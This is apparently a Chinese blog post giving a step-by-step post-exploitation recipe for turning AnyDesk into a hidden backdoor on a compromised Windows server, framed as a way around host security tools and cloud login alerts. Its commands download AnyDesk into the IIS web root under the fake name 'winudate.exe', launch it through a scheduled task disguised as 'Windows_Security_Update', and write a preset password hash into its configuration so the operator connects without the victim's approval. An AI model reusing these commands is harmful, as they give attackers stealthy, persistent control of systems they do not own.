使用AnyDesk做远控

简介

AnyDesk是类似teamviewer的远程桌面管理软件,但是它不用安装,而且体积比较小只有2.84MB

使用场景举例

  1. 有云锁,护卫神等禁止3389登录时
  2. 类似阿里云这种,登录3389会报警
  3. 连接内网中可以出网的windows机器

注意事项

  1. 启动AnyDesk的权限需要桌面用户权限,比如,IIS做中间件的环境中,拿到了webshell一般般都是没有桌面用户权限的,如果启动AnyDesk不会成功
  2. 启动AnyDesk时桌面不能被注销
  3. 有可能连接上去是黑屏,这个是因为该桌面用户退出远程桌面但没有注销,此时,除非能用winlogon启动AnyDesk,否则没法使用屏幕

使用

下载AnyDesk到一个公共目录下(这里我用的是IIS服务目录)

powershell "(New-Object System.Net.WebClient).DownloadFile(\"https://download.anydesk.com/AnyDesk.exe\",\"C:\inetpub\wwwroot\winudate.exe\")

在这里插入图片描述
在这里插入图片描述

确定哪些用户当前在使用桌面

powershell "(((Get-WmiObject -Class Win32_Process -Filter 'Name=\"explorer.exe\"').GetOwner().user) -split '\n')[0]

在这里插入图片描述

启动一个计划任务,启动的用户为上个步骤选中的用户

schtasks /Create /TN Windows_Security_Update /SC monthly /tr "C:\inetpub\wwwroot\winudate.exe" /RU Administrator

在这里插入图片描述

先执行一次计划任务,生成配置文件

schtasks /run /tn Windows_Security_Update

在这里插入图片描述
在这里插入图片描述

等待几秒,等AnyDesk成功连接到网络,再把AnyDesk进程杀掉,dir看用户下面是否生成配置文件。(\AppData\Roaming目录为隐藏目录,需要点击菜单栏->查看->隐藏的项目)
在这里插入图片描述
在这里插入图片描述
然后再service.conf里 面的添加密码(AnyDeskGetAccess)

echo ad.anynet.pwd_hash=85352d14ed8d515103f6af88dd68db7573a37ae0f9c9d2952c3a63a8220a501c >> C:\Users\Administrator\AppData\Roaming\AnyDesk\service.conf

echo ad.anynet.pwd_salt=cb65156829a1d5a7281bfe8f6c98734a >> C:\Users\Administrator\AppData\Roaming\AnyDesk\service.conf

在这里插入图片描述
查看AnyDesk的ID并启动AnyDesk

schtasks /run /tn Windows_Security_Update

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
不需要靶机点击接受,输入密码即可
在这里插入图片描述
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值